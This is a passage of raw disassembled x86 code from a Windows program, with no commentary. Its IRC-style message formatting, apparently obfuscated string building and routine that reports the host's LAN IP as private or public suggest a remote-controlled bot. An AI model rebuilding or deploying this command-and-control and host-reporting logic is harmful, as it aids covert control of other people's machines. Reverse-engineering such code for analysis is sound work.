loc_411938:				; CODE XREF: ___:00411931j
		xor	ebx, ebx


loc_41193A:				; CODE XREF: ___:00411936j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411991
		lea	ebx, [esi+11h]
		jmp	short loc_411993
; ---------------------------------------------------------------------------


loc_411991:				; CODE XREF: ___:0041198Aj
		xor	ebx, ebx


loc_411993:				; CODE XREF: ___:0041198Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_4119EF
		lea	ebx, [esi+11h]
		jmp	short loc_4119F1
; ---------------------------------------------------------------------------


loc_4119EF:				; CODE XREF: ___:004119E8j
		xor	ebx, ebx


loc_4119F1:				; CODE XREF: ___:004119EDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411A4A
		lea	ebx, [esi+11h]
		jmp	short loc_411A4C
; ---------------------------------------------------------------------------


loc_411A4A:				; CODE XREF: ___:00411A43j
		xor	ebx, ebx


loc_411A4C:				; CODE XREF: ___:00411A48j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411AA5
		lea	ebx, [esi+11h]
		jmp	short loc_411AA7
; ---------------------------------------------------------------------------


loc_411AA5:				; CODE XREF: ___:00411A9Ej
		xor	ebx, ebx


loc_411AA7:				; CODE XREF: ___:00411AA3j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411C00	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C00
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412129
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412129
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_411D02
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490C0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411D02:				; CODE XREF: sub_411C00+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_411D79
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411D79:				; CODE XREF: sub_411C00+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_411E34
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412152
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411E34:				; CODE XREF: sub_411C00+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_411EDD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490C4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411EDD:				; CODE XREF: sub_411C00+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_411F4B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_4490F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411F4B:				; CODE XREF: sub_411C00+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_411FAD
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_411FAD:				; CODE XREF: sub_411C00+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41204D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412152
; ---------------------------------------------------------------------------


loc_41204D:				; CODE XREF: sub_411C00+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412152
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412152
; ---------------------------------------------------------------------------


loc_412129:				; CODE XREF: sub_411C00+3Aj
					; sub_411C00+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC5E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412152:				; CODE XREF: sub_411C00+FDj
					; sub_411C00+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411C00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4122D0	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4122D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5F285B
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F30
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_4123DB
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_4123E0
; ---------------------------------------------------------------------------


loc_4123DB:				; CODE XREF: sub_4122D0+102j
		push	offset aPublic	; "[PUBLIC]"


loc_4123E0:				; CODE XREF: sub_4122D0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4122D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412490	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4124EE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4124EE:				; CODE XREF: sub_412490+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412490	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412520	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_412520	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412590	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412590
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4125C7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4125C7:				; CODE XREF: sub_412590+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4125E8
		mov	eax, dword_4490C0
		push	eax
		jmp	short loc_4125EF
; ---------------------------------------------------------------------------


loc_4125E8:				; CODE XREF: sub_412590+4Ej
		mov	ecx, dword_4490C8
		push	ecx


loc_4125EF:				; CODE XREF: sub_412590+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412590	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126C0	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_4126C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412740	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412740	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412770	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412770	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4127B0	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_4127B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4127E0	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_4127E0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412830	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_412830	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_412848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_412848:				; CODE XREF: ___:0041283Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412860	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_412860	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A20	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412A20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_412A20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412AA0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_412AB8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_412AB8:				; CODE XREF: ___:00412AADj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AD0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401979
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
